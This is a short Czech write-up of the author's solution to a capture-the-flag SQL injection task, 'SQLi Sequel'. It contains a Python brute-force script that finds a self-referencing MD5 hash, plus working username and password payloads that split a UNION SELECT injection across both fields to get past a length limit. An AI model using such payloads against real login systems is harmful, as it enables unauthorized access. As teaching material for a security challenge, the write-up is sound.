SQLi Sequel - Autorské řešení úlohy
·109 slov·1 min
Solution #
Do limitu 43 znaků se nevejde celá md5ka a UNION SELECT, takže je potřeba ji rozložit mezi username a password. Nicméně password je to z čeho se počítá md5ka, takže je potřeba bruteforcem najít “seberefernční” hash.
Použil jsem na to následující python skript:
import hashlib
import itertools
import string
import time
import random
start = time.time()
target = ''.join(random.choice(string.digits + 'abcdef') for _ in range(6))
for c in itertools.product(string.ascii_letters + string.digits, repeat=7):
payload = "".join(c)
password = "*/||'" + target + "'--" + payload
if hashlib.md5(password.encode()).hexdigest().endswith(target):
print(password, hashlib.md5(password.encode()).hexdigest())
break
print(time.time() - start)
Ukázka výstupu:
*/||'d2dbc8'--aaa1MsS 1fa6aaa88b72e054cb2bf22ec6d2dbc8
6.705181121826172
Následně je možné použít následující řešení:
- U:
'UNION SELECT'1fa6aaa88b72e054cb2bf22ec6'/* - P:
*/||'d2dbc8'--aaa1MsS